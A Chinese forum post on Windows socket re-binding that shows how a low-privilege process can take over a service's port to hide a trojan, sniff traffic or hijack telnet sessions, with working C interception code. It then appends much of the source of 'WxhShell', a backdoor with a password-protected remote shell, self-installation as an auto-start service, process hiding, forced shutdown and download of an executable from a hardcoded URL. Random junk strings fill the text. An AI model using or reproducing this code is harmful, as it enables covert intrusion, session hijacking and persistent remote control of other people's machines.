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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ItZ*$I1<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5)->.*G*  
X8~?uroq  
  saddr.sin_family = AF_INET; 3 [O+wVv  
f/m0,EERk  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uw@-.N^  
r*FAUb`bG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \(zUI  
X'xnJtk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QVl"l'e8  
_!?a9  
  这意味着什么?意味着可以进行如下的攻击: o,$K=#Iv  
(SA^> r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ],'"iVh  
3XncEdy_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BJp~/H`vd  
%P C[-(Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [LV>z  
8LY^>.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bJw{U.  
F8\JL %  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V~$?]Z%_  
UI~hB4V$]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Pa?C-Xn^  
D23 c/8K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g ?@fHFct  
wb39s^n  
  #include |>wGl  
  #include QM7B FS;  
  #include hK %FpGYA  
  #include    tNYuuC%N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B!4~A{  
  int main() L}K8cB  
  { sdN1BV2  
  WORD wVersionRequested; AH:0h X6+  
  DWORD ret; x( (Rm_'  
  WSADATA wsaData; . \8"f]~  
  BOOL val; &QFc)QP{  
  SOCKADDR_IN saddr; Fnd_\`9{  
  SOCKADDR_IN scaddr; 4MCj*ok<  
  int err; \ AB)L{  
  SOCKET s; {??bJRT  
  SOCKET sc; ^3QJv{)Q  
  int caddsize; {9cjitl  
  HANDLE mt; zT>BC}~.b  
  DWORD tid;   lx> ."rW  
  wVersionRequested = MAKEWORD( 2, 2 ); lnK#q .]  
  err = WSAStartup( wVersionRequested, &wsaData ); .kB!',v\  
  if ( err != 0 ) { YU\k D  
  printf("error!WSAStartup failed!\n"); $KS!vS7  
  return -1; qTG i9OP6/  
  } gN]\#s@[  
  saddr.sin_family = AF_INET; ~9@83Cs2  
   HK VtO%&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VuD{t%Jb  
:4r*Jju<V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AP ]`'C  
  saddr.sin_port = htons(23); P#[?Kfi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >.uIp4@(  
  { wVc ^l  
  printf("error!socket failed!\n"); y<c7RK]  
  return -1; 3`Xzp  
  } dq0!.gBT2  
  val = TRUE; /<"ok;Pu7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K{ntl-D&y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /. >%IcK  
  { Z,V<&9a;  
  printf("error!setsockopt failed!\n"); K87yQOjPv  
  return -1; F?qg?1v B|  
  } s(r4m/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KxWm63"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -&lD0p>*g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }L=Qp=4  
,vAcri 97  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `v)ZOw9&  
  { lAkg47i  
  ret=GetLastError(); \mWH8Z }Z  
  printf("error!bind failed!\n"); ]Qe"S>,?`  
  return -1; }]=@Y/p  
  } L-%'jR  
  listen(s,2); m^w{:\p  
  while(1) w: mm@8N  
  { ZKM@U?PK  
  caddsize = sizeof(scaddr); #$}A$sm  
  //接受连接请求 {]$)dz5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )_6W@s  
  if(sc!=INVALID_SOCKET) ]zn3nhBI  
  { yq[@Cw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -lR7 @S  
  if(mt==NULL) ~ e a K]|  
  { ~.tYYX<  
  printf("Thread Creat Failed!\n"); R@U4Ae{+  
  break; AJ)&+H  
  } ;s-@m<  
  } %"WhD'*z}  
  CloseHandle(mt); LjIkZ'HuF  
  } D0>Pc9  
  closesocket(s); #$F*.vQSs+  
  WSACleanup(); kdaq_O:s  
  return 0; M`E}1WNQ?]  
  }   5Vai0Qfcu:  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z;njSw%:  
  { *,~L_)vWO  
  SOCKET ss = (SOCKET)lpParam; <(H<*Xf9  
  SOCKET sc; 0%)T]SDS  
  unsigned char buf[4096]; k= &n>P  
  SOCKADDR_IN saddr; - FJLM  
  long num; 0 ZSn r+  
  DWORD val; rinTB|5  
  DWORD ret; WQbjq}RfI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \[]?9Z=n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G,<l}(tEG  
  saddr.sin_family = AF_INET; Z*-a=u%gl'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S)/548=`  
  saddr.sin_port = htons(23); jmcys _N3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _]{LjJ!M  
  { (H\ `/%Bp  
  printf("error!socket failed!\n"); hDQk z qW  
  return -1; i1'G_bo4F7  
  } 5>ktr)]  
  val = 100; F!p;]B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cDK)zD  
  { Vhr6bu]  
  ret = GetLastError(); UcH#J &r  
  return -1; [ako8  
  } wvxsn!Ao&=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {R_ <m$  
  { {'z$5<|  
  ret = GetLastError(); A(n#k&W1fZ  
  return -1; 0Ue~dVrM(?  
  } N Hn #c3o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _dmG#_1  
  { 96P&+  
  printf("error!socket connect failed!\n"); 2+Oz$9`.  
  closesocket(sc); 9hh~u -8L  
  closesocket(ss); n{&;@mgI  
  return -1; w'E?L`c  
  } 2e03m62*  
  while(1) ,eWLig  
  {  1'F!C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @^o7UzS4z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i"pOYZW1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7_jlNr7uk  
  num = recv(ss,buf,4096,0); pMAP/..+2  
  if(num>0) /Z,hQ>/  
  send(sc,buf,num,0); *aFY+.;U`  
  else if(num==0) 29m$S7[  
  break; B|,d  
  num = recv(sc,buf,4096,0); 3s67)n  
  if(num>0) <]X 6%LX  
  send(ss,buf,num,0); 9X +dp  
  else if(num==0) FFN Sn  
  break; [;4;. V  
  } M'F<1(  
  closesocket(ss); c{KJNH%7  
  closesocket(sc); [J(b"c6  
  return 0 ; YD0hDp  
  } VR\}*@pNp  
M"bG(a(6:  
e`q*'u1?  
========================================================== =Y5m% ,Bq  
-GM"gkz  
下边附上一个代码,,WXhSHELL hQlyqTP|2  
h+A+>kC5  
========================================================== ]>Gi_20*.  
;NrPMz  
#include "stdafx.h" &flRrJ  
EU04U  
#include <stdio.h> #TC}paIpj  
#include <string.h> y)a)VvU":  
#include <windows.h> &U7h9o H  
#include <winsock2.h> MvnQUZ  
#include <winsvc.h> = ^Vp \  
#include <urlmon.h> rHk,OC  
WiZTE(NM`  
#pragma comment (lib, "Ws2_32.lib") .l5-i@=W  
#pragma comment (lib, "urlmon.lib") . UH'U\M  
N u\<Xr8  
#define MAX_USER   100 // 最大客户端连接数 "tK|/R+  
#define BUF_SOCK   200 // sock buffer %>6ilG Q+  
#define KEY_BUFF   255 // 输入 buffer e-[PuJ  
SynRi/BRmw  
#define REBOOT     0   // 重启 qxsHhyB_n;  
#define SHUTDOWN   1   // 关机 BW}M/  
'W>y v  
#define DEF_PORT   5000 // 监听端口 |lg jI!iK  
}L&LtW{X  
#define REG_LEN     16   // 注册表键长度 3bR%#G%  
#define SVC_LEN     80   // NT服务名长度 ^SKHYo`,,N  
)rt%.`  
// 从dll定义API SMJRoK3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jj 5VBI!Ok  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  S~E@A.7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); { 0&l*@c&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cb`,N  
~G-W|>  
// wxhshell配置信息 HtiIg a 7  
struct WSCFG { eU,F YJt9  
  int ws_port;         // 监听端口 K"&^/[vMB  
  char ws_passstr[REG_LEN]; // 口令 W$()W)   
  int ws_autoins;       // 安装标记, 1=yes 0=no `wQs$!a  
  char ws_regname[REG_LEN]; // 注册表键名 &1?6Q_p6c  
  char ws_svcname[REG_LEN]; // 服务名 s=F[.X9lp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G6}&k[d5%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X1o^MMpz(F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4>LaA7)v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q=D8 Nz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wfpl]d!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'GX x|.  
zy nX9t  
}; C"B'Dj  
,UNk]vd  
// default Wxhshell configuration `]]<.>R  
struct WSCFG wscfg={DEF_PORT, 4Orq;8!BW  
    "xuhuanlingzhe", Y:L[Iz95o  
    1, R=<::2_Y96  
    "Wxhshell", s2wDJ|  
    "Wxhshell", F:q8.^HTJ  
            "WxhShell Service", DR:DXJc  
    "Wrsky Windows CmdShell Service", B RskxyL&,  
    "Please Input Your Password: ", ;1 {=t!z=  
  1, UnP<`z#  
  "http://www.wrsky.com/wxhshell.exe", (GC5r#AnS  
  "Wxhshell.exe" V$O6m|q  
    }; UcOP 0_/  
+,AzxP _y  
// 消息定义模块 xkiiQs)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D7JrGaF{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $u'"C|>8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;UM(y@  
char *msg_ws_ext="\n\rExit."; oz)4YBf  
char *msg_ws_end="\n\rQuit."; Z]oGE@! n"  
char *msg_ws_boot="\n\rReboot..."; a0gg<Ml  
char *msg_ws_poff="\n\rShutdown...";  ;<B  
char *msg_ws_down="\n\rSave to "; s%`l>#H  
OKK Ko`RN  
char *msg_ws_err="\n\rErr!"; sQkijo.  
char *msg_ws_ok="\n\rOK!"; s-+-?$K  
"~._G5i.  
char ExeFile[MAX_PATH]; {i?G:K  
int nUser = 0; wWfj#IB;R  
HANDLE handles[MAX_USER]; ]1Wxa?  
int OsIsNt; cs*E9  
~;H,cPvrEg  
SERVICE_STATUS       serviceStatus; 9d-'%Q>+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3S]Q IZ1  
=_zo  
// 函数声明 8.N`^Nj 1  
int Install(void); _ahp7-O  
int Uninstall(void); v[{7\Hha  
int DownloadFile(char *sURL, SOCKET wsh); -3v\ c~  
int Boot(int flag); 5N%d Les  
void HideProc(void); K: $mEB[c<  
int GetOsVer(void); #jG?{j3;?  
int Wxhshell(SOCKET wsl); ?kQY ^pU  
void TalkWithClient(void *cs); v @0G^z|  
int CmdShell(SOCKET sock); 'TH[Db'`I  
int StartFromService(void); o:W*#dt  
int StartWxhshell(LPSTR lpCmdLine); Qg~w 3~  
s(5hFuyg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;CF:cH*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *pSnEWwE  
g3&nxZ  
// 数据结构和表定义 :q*w_*w  
SERVICE_TABLE_ENTRY DispatchTable[] = R6o  D  
{ \G>C{v;  
{wscfg.ws_svcname, NTServiceMain}, 5[jS(1a`c  
{NULL, NULL} 5X+`aB  
}; }F!Uu KR  
N{Z+  
// 自我安装 ej&.tNvq  
int Install(void) ,52 IR[I<T  
{ [f6BA|   
  char svExeFile[MAX_PATH]; }u3|w0~c)  
  HKEY key; Xb>SA|6[|  
  strcpy(svExeFile,ExeFile); H1B%}G*Ir-  
fuv{2[N V  
// 如果是win9x系统,修改注册表设为自启动 d;0]xG?%=  
if(!OsIsNt) { `N.:3]B t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x[0hY0 ?[M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #&?ER]|3  
  RegCloseKey(key); -d#08\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [r8[lkR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {.A N4  
  RegCloseKey(key); ;hO6 p  
  return 0; _.V5-iN  
    } xatq  
  } lGWz  
} U'(zKqC   
else { %sOY:>  
k)*apc\W  
// 如果是NT以上系统,安装为系统服务 =Q<7[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); + c3pe4  
if (schSCManager!=0) *->*p35  
{ mHW%:a\L  
  SC_HANDLE schService = CreateService Gt*K:KT=L  
  ( 0Atha>w^o~  
  schSCManager, gveJ1P  
  wscfg.ws_svcname, k89N}MA   
  wscfg.ws_svcdisp, abUO3 Y{  
  SERVICE_ALL_ACCESS, IJ2'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {TpbUj0  
  SERVICE_AUTO_START, 76@W:L*J$J  
  SERVICE_ERROR_NORMAL, `G\Gk|4; 2  
  svExeFile, 0{z8pNrc  
  NULL, QJ(%rvn3  
  NULL, =LV-n  
  NULL, U!r8}@  
  NULL, d[,Rgdd@I  
  NULL Sv/P:r _  
  ); K'J_AMBL  
  if (schService!=0) I@6+AU~,6  
  { ZwLr>?0$ p  
  CloseServiceHandle(schService); ?rQ .nN  
  CloseServiceHandle(schSCManager); tB~#;:g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,m?V3xvq  
  strcat(svExeFile,wscfg.ws_svcname); s.Z{mnD6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xCXsyZ2h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tyW}=xs  
  RegCloseKey(key); uuwJ-  
  return 0; }lX$KuD  
    } OHBCanZZ,  
  } dLb$3!3  
  CloseServiceHandle(schSCManager); _3 oo%?}  
} VED~v#.c  
} *w(n%f  
t :YZua  
return 1; P8By~f32_  
} ;xz_H$g  
1-? i*C  
// 自我卸载 5wx~QV=Hh  
int Uninstall(void) 7{O iV}]"  
{ Z8bg5%  
  HKEY key; I]W7FZ=o  
7afG4 (<k  
if(!OsIsNt) { U?f-/@fc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 83Rs1}*  
  RegDeleteValue(key,wscfg.ws_regname); f|w;u!U(  
  RegCloseKey(key); AP,ZMpw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E!1\9wzM{  
  RegDeleteValue(key,wscfg.ws_regname); ri8=u$!  
  RegCloseKey(key); 9MZ)-  
  return 0; hDB(y4/  
  } 3WQa^'u  
} uGC5XX^  
} .uauSx/#4  
else { TaYl[I  
uCB9;+ Hjw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zNt//,={  
if (schSCManager!=0) lAi5sN)|$  
{ P8X9bW~GQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'pIrwA^6N  
  if (schService!=0) 4PxP*j  
  { OXQA(%MK  
  if(DeleteService(schService)!=0) { }B7Txo,Z  
  CloseServiceHandle(schService); |}z5ST%  
  CloseServiceHandle(schSCManager); OeASB}  
  return 0; Oo; ]j)z  
  } X\Zan$oi  
  CloseServiceHandle(schService); K\%\p$ZD  
  } j3-o}6  
  CloseServiceHandle(schSCManager); ed',\+.uB  
} PZqp;!:xz  
}  hO$Gx*e$  
zCo$YP#5_  
return 1; uoE+:,P  
} )r{Wj*u  
iZfZF  
// 从指定url下载文件 Sdmz (R  
int DownloadFile(char *sURL, SOCKET wsh) PjBAf'  
{ , v} )  
  HRESULT hr; q&>fKSnKs  
char seps[]= "/"; 1O0. CC,p  
char *token; KZ[TW,Gw  
char *file; |s/N ?/qi  
char myURL[MAX_PATH]; Nkj$6(N=zJ  
char myFILE[MAX_PATH]; U"8Hw@  
hzM;{g>t  
strcpy(myURL,sURL); 2qE_SSXn  
  token=strtok(myURL,seps); P=,\wM6T|  
  while(token!=NULL) tDL.+6/  
  { td%J.&K_*'  
    file=token; Pd&KAu|<`  
  token=strtok(NULL,seps); M| Gl&   
  } hR|xUp  
\\:%++}J  
GetCurrentDirectory(MAX_PATH,myFILE); 5`fUR/|[  
strcat(myFILE, "\\"); zo@vuB.  
strcat(myFILE, file); vv,<#4d  
  send(wsh,myFILE,strlen(myFILE),0); Z ;rM@x  
send(wsh,"...",3,0); H*k\C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KH?6O%d  
  if(hr==S_OK) }[z7V  
return 0; #$S~QS.g  
else {~O4*2zg;K  
return 1; !5De?OXe   
 \8C<nh  
} #n+u>x.O  
};rp25i  
// 系统电源模块 _ s}aF  
int Boot(int flag) NbU4|O i  
{ t^MTR6y+8  
  HANDLE hToken; AcnY6:3Y|  
  TOKEN_PRIVILEGES tkp; YFu,<8"swe  
SPlt=*C#_  
  if(OsIsNt) { J1O1! .  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ($<&H>j0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n.9k5r@  
    tkp.PrivilegeCount = 1; g`'!Vgd?M[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Brs6RkRf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jq]5Y^e  
if(flag==REBOOT) { 5SUO`4L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '6NrL;  
  return 0; x#SE%j?  
} jRiMWolLv  
else { EgPL+qL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Sb)i f  
  return 0; g#74c'+  
} REU&8J@k&?  
  } VOr: G85*s  
  else { ~tfd9,t  
if(flag==REBOOT) { 3s%DF,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OT$ Ne  
  return 0; e?;c9]XO,o  
} .u ikte  
else { Y5CkCF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RYvdfj.ij  
  return 0; DRRQ] eK0  
} 7{M&9| aK  
} q M_c-^F  
Jf= V<  
return 1; u8JH~b  
} _y6iR&&x  
kdGq\k,  
// win9x进程隐藏模块 \41/84BA  
void HideProc(void) .9ZK@xM&?  
{ 'vt Jl  
\Cq4r4'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;&|I/MVm  
  if ( hKernel != NULL ) ]SAY\;,_  
  { qm/>\4eLt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); + @fEw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :](#W@ r  
    FreeLibrary(hKernel); h`9 & :zr  
  } :+\sKEzL  
4=^Ha%l  
return; bnL!PsG$K,  
} 4|%Y09"lv  
q90RTX'CY  
// 获取操作系统版本 xC9?rLUZ  
int GetOsVer(void) O{ 3X`xAf  
{ ]Kjt@F";  
  OSVERSIONINFO winfo; arR<!y7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y,rdyt  
  GetVersionEx(&winfo); Tz6I7S-w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dR=sdqS#J  
  return 1; 40 u tmC  
  else _(m455HZ  
  return 0; a3MI+  
} go=xx.WJ  
yR{rje*  
// 客户端句柄模块 ))dqC l  
int Wxhshell(SOCKET wsl) '$p`3Oqi  
{ 56kqG}mg&  
  SOCKET wsh; iu<Tv,{8  
  struct sockaddr_in client; Sx~mc_ekY  
  DWORD myID; o@PvA1  
!!ZGNZ_  
  while(nUser<MAX_USER) v]@ XyF\j8  
{ T}?b,hNl$  
  int nSize=sizeof(client); 8*?H~q~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JP"#9f  
  if(wsh==INVALID_SOCKET) return 1; #"r_ 3  
f-i5tnh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bYQ@!  
if(handles[nUser]==0) w#a`k9y  
  closesocket(wsh); )O*h79t^Q  
else y[Dgyt  
  nUser++;  s=:LS  
  } OB=bRLd.IR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uIO?4\s&G  
.EWjeVq  
  return 0; \rh+\9(  
} tkptm%I _  
'6\w4J(  
// 关闭 socket hJ%$Te  
void CloseIt(SOCKET wsh) "* FjEA6=  
{ ,H?e23G  
closesocket(wsh); CaED(0  
nUser--; R86i2',  
ExitThread(0); nt&% sM-X  
} `%Kj+^|DS  
5G2ueRVb  
// 客户端请求句柄 < <0[PJ  
void TalkWithClient(void *cs) >\'}&oi  
{ {%('|(57  
T,/<'cl"  
  SOCKET wsh=(SOCKET)cs; ;^E\zs  
  char pwd[SVC_LEN]; l_04b];  
  char cmd[KEY_BUFF]; ;mD!8<~z.  
char chr[1]; KU/QEeqbrp  
int i,j; Z{%W!>0  
kda*rl~c  
  while (nUser < MAX_USER) { u#u/uS"  
IAb.Z+ig  
if(wscfg.ws_passstr) { c"CR_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i,RbIZnJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JY:Fu  
  //ZeroMemory(pwd,KEY_BUFF); sT iFh"8d>  
      i=0; KDP& I J  
  while(i<SVC_LEN) { Y*lc ~X  
"IJ1b~j?  
  // 设置超时 )2d1@]6#  
  fd_set FdRead; %2'4h(Oq^  
  struct timeval TimeOut; nip*Y@-F  
  FD_ZERO(&FdRead); <ldArZ4C4  
  FD_SET(wsh,&FdRead); \(^]R,~*!b  
  TimeOut.tv_sec=8; VJ&-Z |  
  TimeOut.tv_usec=0; 9.~ _swkv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]CU)#X<J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [zP}G?(  
LoJEchRK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r da: ~  
  pwd=chr[0]; .;bU["fn)  
  if(chr[0]==0xd || chr[0]==0xa) { ,B x0  
  pwd=0; =b)!l9TX  
  break; F!I9)PSj  
  } (?T{^Hg  
  i++; 3-;<G  
    } SFP?ND+7  
*fyaAv  
  // 如果是非法用户,关闭 socket ,5~C($-t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9w0v?%%_  
} &'i.W}Ib!  
3WGOftLzt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5Em.sz;:8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \G/ZA) t  
#QOb[9(Tu(  
while(1) { 0iMfyW:  
C^]UK  
  ZeroMemory(cmd,KEY_BUFF); PK{FQ3b2{  
mMu+MXTk<  
      // 自动支持客户端 telnet标准   IK4(r /  
  j=0; F2n4#b  
  while(j<KEY_BUFF) { t > 64^nS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .[:WMCc\  
  cmd[j]=chr[0]; nhm#_3!6A  
  if(chr[0]==0xa || chr[0]==0xd) { fpzEh}:H\  
  cmd[j]=0; (YPG4:[  
  break; 4eaH.&&  
  } 3s*mq@~1X  
  j++; `'(@"-L:7  
    } 6|6O| <o  
$`C$|9S  
  // 下载文件 &=Y%4 vq  
  if(strstr(cmd,"http://")) { "6%qi qt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =zp{ ^mC  
  if(DownloadFile(cmd,wsh)) "x:-#2+h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oq>jCOVh  
  else jW| ,5,43  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?^8.Sa{  
  } 0+_;6  
  else { {FC<vx{42  
_39VL  
    switch(cmd[0]) { ady SwB  
  &MrG ,/  
  // 帮助 PUd/|Rc/}  
  case '?': { u VUrg;>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5!6iAS+I  
    break; _|{pO7x]oG  
  } !D 'A  
  // 安装  $iH  
  case 'i': { 4;IZ}9|G  
    if(Install()) >;xkiO>Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !0X"^VB  
    else K_X(j$2Xc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jfa<32`0E  
    break; 94rx4"AN8;  
    } N45@)s!F9j  
  // 卸载 uE#i3( J  
  case 'r': { 8rz ,MsFR  
    if(Uninstall()) @Js@\)P79  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S.C7%XU  
    else Yka>r9wr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i Nn?G C>  
    break; J,`I>^G  
    } 4J[csU  
  // 显示 wxhshell 所在路径 Pn}oSCo  
  case 'p': { Qeq=4Nq  
    char svExeFile[MAX_PATH]; RHt~:D3*  
    strcpy(svExeFile,"\n\r");  <j_  
      strcat(svExeFile,ExeFile); gX5.u9%C\  
        send(wsh,svExeFile,strlen(svExeFile),0); [s-!t E3-  
    break; {]y!2r  
    } #vcQ =%;O  
  // 重启 SR/ "{\C  
  case 'b': { s*>B"#En  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DK%@ [D  
    if(Boot(REBOOT)) bde6 ;=oM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y$ ZDJNz  
    else { 3KKq1][  
    closesocket(wsh); &e4EZ  
    ExitThread(0); AeW_W0j  
    } ~Z97L  
    break; R"71)ob4  
    } vrsOA@ee3H  
  // 关机 pD6a+B\;k  
  case 'd': { '&y+,2?;Y[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rAu@`H?  
